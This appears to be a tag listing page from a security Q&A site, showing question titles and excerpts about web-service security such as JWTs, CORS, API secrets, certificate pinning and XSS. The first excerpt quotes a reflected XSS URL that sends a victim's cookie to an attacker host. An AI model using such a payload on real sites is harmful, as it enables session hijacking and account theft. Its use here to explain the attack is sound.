A web service is application that provides a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks - typically using HTTP or HTTPS as a transport layer for object and request models (SOAP, REST, JSON, etc). The output isn't ...

learn more… | top users | synonyms

3
votes
2answers
13k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
-4
votes
1answer
71 views

Blocking HTTPS web sites on LAN [closed]

How can I block HTTPS web sites (e.g. Facebook) in our Local Area Network without using a firewall?
-3
votes
0answers
30 views

How to achieve end-to-end security in a Browser-Server architecture?

Let's assume a typical web application with a back-end and a front-end(e.g. a MVC framework using PHP or Python). As far as I have studied and please correct me if I am wrong, it is not a typical ...
8
votes
2answers
1k views

What are the security risks when using free Content delivery networks (CDNs)?

I was doing some research on Content Delivery Networks. For those who don't know, a CDN is a large collection of servers that cache and quickly serve up static content such as images, css, js, etc, to ...
3
votes
2answers
489 views

End to end security for REST services, any emerging standards?

I work with integration in the healthcare sector, where end-to-end security is important. We integrate with numerous SOAP services, and use the WS-security features to encrypt and sign requests and ...
1
vote
1answer
45 views

Login to social Media using Facebook Connect

I came here with a struggle issue. We run a social media website, where people can register by classical login (might be his email or his username) and password form but also using a Facebook Connect. ...
-2
votes
1answer
141 views

What scenarios really benefit from signed JWTs?

UPDATE: I have concluded my research on this problem and posted a lengthy blog entry explaining my findings: The Unspoken Vulnerability of JWTs. I explain how the big push to use JWTs for local ...
5
votes
1answer
991 views

Is there any risk to enabling CORS with a wildcard on S3?

By default, Amazon S3 blocks cross-origin requests. However, it allows users the ability to set up per-bucket CORS policies. It offers fairly elaborate controls for which domains and methods the user ...
12
votes
4answers
1k views

What to do when you can’t protect mobile app secret keys?

We have a mobile app for iOS and Android available in the Apple and Google Play stores. The app communicates with our server’s Web Services over HTTPS. We have attackers able to spoof the app traffic....
1
vote
2answers
33 views

Should a Web site be allowed to use a third party web service directly?

Imagine I have a web site running on an IIS. The web site needs to get/send sensitive data from a 3rd party REST web service. Is there any reason why a web site (server side, not client side) should ...
0
votes
0answers
39 views

Mitigation for web service that may impersonate the context of native application?

I am trying to create threat model, and I have one of the threat listed as follows: Web Service - may be able to impersonate the context of Native Application. Can some one please help to ...
0
votes
0answers
57 views

Framework to authenticate web API requests from legacy application

I have a legacy ASP.NET MVC application that uses pretty standard forms authentication which validates logins against an application database. The scope to change this application is limited, however ...
0
votes
0answers
39 views

Web service authorization to specific applications: certificates, embedded secret or both?

My needs are somehow similar to this answer, but I would to be more specific. I have a set of web applications (A and B) that access to a REST service (R). A, B and R could be on the same server or ...
18
votes
2answers
916 views

How can I prevent that my users get a certificate issued for my domain on my behalf?

I have a domain, where some other users have access to upload files, use email, use XMPP, etc. How can I prevent that these users go to a certificate authority and get a certificate for my domain? ...
0
votes
0answers
62 views

JSON Web Token Security RSA

We are planning to use JWT (JSON Web tokens) in an application project, which is a set of multiple distributed web services allowing SSO authentication (single sign on). So there is a single central ...
0
votes
0answers
16 views

Is it ok to use one key pair for my authentication endpoint?

I have an web endpoint that checks user passwords, then issues signed JWT tokens to the client if password matches what we have in the database. The JWT is signed with a RSA private key using RS512. ...
1
vote
0answers
37 views

Securing promotional discounts

I have a service, offering a physical good in exchange for either money or via code given out by us. The service is accessed through a mobile application. The codes have usage restrictions, for ...
1
vote
3answers
364 views

How to generate random but unique tokens for authentication?

I need to create unique and long tokens for email verification, but I am not sure about how. Currently we are on staging servers or we are just using os.urandom() in Django. But I need to know what ...
5
votes
3answers
750 views

Is conveying patient MRN in a web service URL a HIPAA PHI violation?

I'm building a web service to access patient data within our EMR and would like to subscribe to RESTful design principles. However, the idea of including the patient MRN in a GET request makes me ...
16
votes
3answers
2k views

Is exposing exception information in web service a security risk? [duplicate]

It is a known fact that exposing the exception information to the end user provides security risks since an adversary can user that to figure out how things work internally and attack it. But what ...
1
vote
0answers
50 views

Are Web Services vulnerable to CSRF?

I'm testing an android application, it uses web services for every action, so I saw the requests don't have tokens or another anti-automation mechanism, they just need to validate a token to identify ...
3
votes
3answers
147 views

SSL Certificate in my hosting makes me change my java code?

Sorry for my stupid question. But I really want to know what is gonna happen.. I have a webservice hosted over the http protocol. I wanna buy an SSL certificate to have my webservice hosting with ...
1
vote
1answer
45 views

Is it possible to give legal value to signed web services?

The context is using digitally signed webservices (with XML-DSIG for example) for e-government interoperability between databases. The idea is to give endorsement to both the data publisher and the ...
3
votes
4answers
150 views

Is a users mobile number available to a web service?

The reason I am asking this question is that I just noticed 6 lots of £1.25 charges on my mobile phone bill. I called up the phone company and they said that they are charges from a company called ...
5
votes
1answer
135 views

Simple, Secure PHP API Design

I'm trying to design a secure RESTful API web service with as few moving parts as possible. I have some questions, and want to make sure my design is secure. For the data transmission level of ...
4
votes
5answers
3k views

Why would someone want to encrypt RSS feeds?

I heard the idea of encrypting the RSS feeds using public key encryption system from someone and since then I am intrigued by the idea. But then I started to wonder what would be the basic need for ...
3
votes
3answers
105 views

What are the security risks of importing and processing an excel spreadsheet from an untrusted user

I'm working on a web application and we have an administrative feature that allows admins to import an excel spreadsheet containing information about sub-users they would like to add. We parse the ...
3
votes
0answers
65 views

How safe is WebCryptoAPI these days?

The 1Password Tool (software) introduced the 1Password for Teams. Now I thought this is a great peace of Software. But now they can show Passwords in the Browser. They do say: We encrypt ...
2
votes
2answers
377 views

Are these merchant integration instructions wrong about server-client interaction?

I'm working with a payment gateway that seems to have a fundamental misunderstanding of "clients" and how to protect sensitive data. The integration instructions are mostly about a "redirect" mode of ...
8
votes
2answers
3k views

How to secure API (private key) for mobile apps

I am building a web service that has to be only accessible for iOS apps. In the future I want to expand to a mobile web-site to make my service also available for other mobile operating systems. Now,...
3
votes
1answer
66 views

Can timing attacks over a webservice be eliminated by standardizing the time it takes to return a request?

For example, would this (pseudo)-code work? let t = timeRightNow() let message = stuffWhoseTimingCantBeLeaked() waitUntilTime(t+1 second) send message Or similar? That way the time that the message ...
3
votes
1answer
89 views

How can I test a domain that I don't own for unencrypted communication vulnerabilities?

I am suspecting a website of passing clear text login information and so far as I can tell the connection is unencrypted. Are there web-based tools to validate/test a website for basic security ...
3
votes
2answers
52 views

How to host application monitoring and administration dashboards?

I'm in the middle of completing a web app for production. This is my first one. I'm at the point where I have to put together an administrator dashboard for comprehensive monitoring and administration ...
2
votes
2answers
56 views

Javascript videoplayer attack vectors [closed]

My team is building a Javascript-based video player for our own platform, instead of relying on other already available options like video.js. I'm wondering which attack vectors should I take into ...
-1
votes
1answer
41 views

SSL cert and region performance [closed]

I was asked to find the best available SSL cert for deploying a global solution in which performance is critical. But... does it really matter who is going to be the CA? AFAIK (never set up SSL ...
0
votes
0answers
21 views

Denial of service async Web service

Is it possible to perform a denial of service attack on an async service? Isnt the operating system supposed to release the thread? Im thinking it doesn't't matter as someone attacking a system would ...
2
votes
4answers
173 views

Public access to IIS Web server inside company network, for one specific service

I'm developing a mobile app which needs to access a specific server inside a company network, and should be able to do so from anywhere in the world. The app communicates via HTTP to a Web service on ...
1
vote
1answer
166 views

Saving encrypted username password in session

I have Node.js server which serves an app. In that app you could be asked to login. The login credentials would be authenticated against LDAP. That server could request/post data from other servers ...
0
votes
2answers
62 views

Are third party authentification provider included via iframe by default considered (in)secure?

Authentification provider X is used by many non-related websites like A, B and C as (sole) authentification provider. X therefor provides a framework for athentification which includes a login form ...
20
votes
3answers
293 views

What precautions should I take when creating users that will be used by applications and not by people?

I have some applications that need to access to a webservices bus. Own applications that access to the bus authenticate using a webservice on that bus but in this case I need that third party ...
1
vote
0answers
29 views

central auth servers and in-app password changing

BLUF: philosophically, when (if?) should (web) services that use a central auth server add the power to change passwords? Simplified definitions, for the sake of this question: Central Auth Server: ...
5
votes
3answers
2k views

SSL inspection detection

An interesting question was recently asked about SSL inspection, and that got me wondering if it is actually possible, from the end user (or even server side), to detect if the SSL link is being ...
3
votes
2answers
792 views

Sending data from Android client to database

I have created an Android app which sends data to a web service. Right now the user sends his test results (test id, test name, test time, and user ID). The problem is that I send the data from the ...
0
votes
1answer
64 views

Basis for “trusting” third party code and services

I remember reading an article mentioning, that third party services and code should not be trusted, meaning blind trust. So, i was thinking, everyone uses third party code in software development ...
3
votes
2answers
1k views

List of web session attacks and counter measures

I'm writing a new website in PHP and I will be using cookies to track user session data. Before I finalize the design, I want to make sure that the site is not vulnerable to attacks. I have written a ...
0
votes
1answer
23 views

How long should a shared link (token in the URL) be?

Suppose we have a web service operation like: GetComments(encryptedDiscussionID) // returns list of comments Where encryptedDiscussionID is the encrypted version of the actual discussionID in the ...
14
votes
5answers
8k views

Is it okay for API secret to be stored in plain text or decrypt-able?

Aren't API keys considered usernames and API secrets considered passwords? Why is it that API servers like Amazon Web Services allow you to view your API secret in plain text? It makes me think they ...
9
votes
2answers
5k views

How can I prevent reflected XSS in my JSON web services?

I have a web service that takes POST data (JSON) and returns part of the request object in the JSON response. This is open to XSS if the response is rendered as HTML by the browser since someone ...
4
votes
1answer
137 views

Public Key Certificate Pinning and MITM attack

So I was looking at an example of how to implement public key pinning for when your app connects to your web service and you want to have your app ensure it's really talking to your server. http://...
3
votes
4answers
87 views

How to Protect Webservice on Private Network?

We are building a webservice that will only be queried by other servers on our private network. I was suggesting that we put that webservice over https and use either client ssl authentication or a ...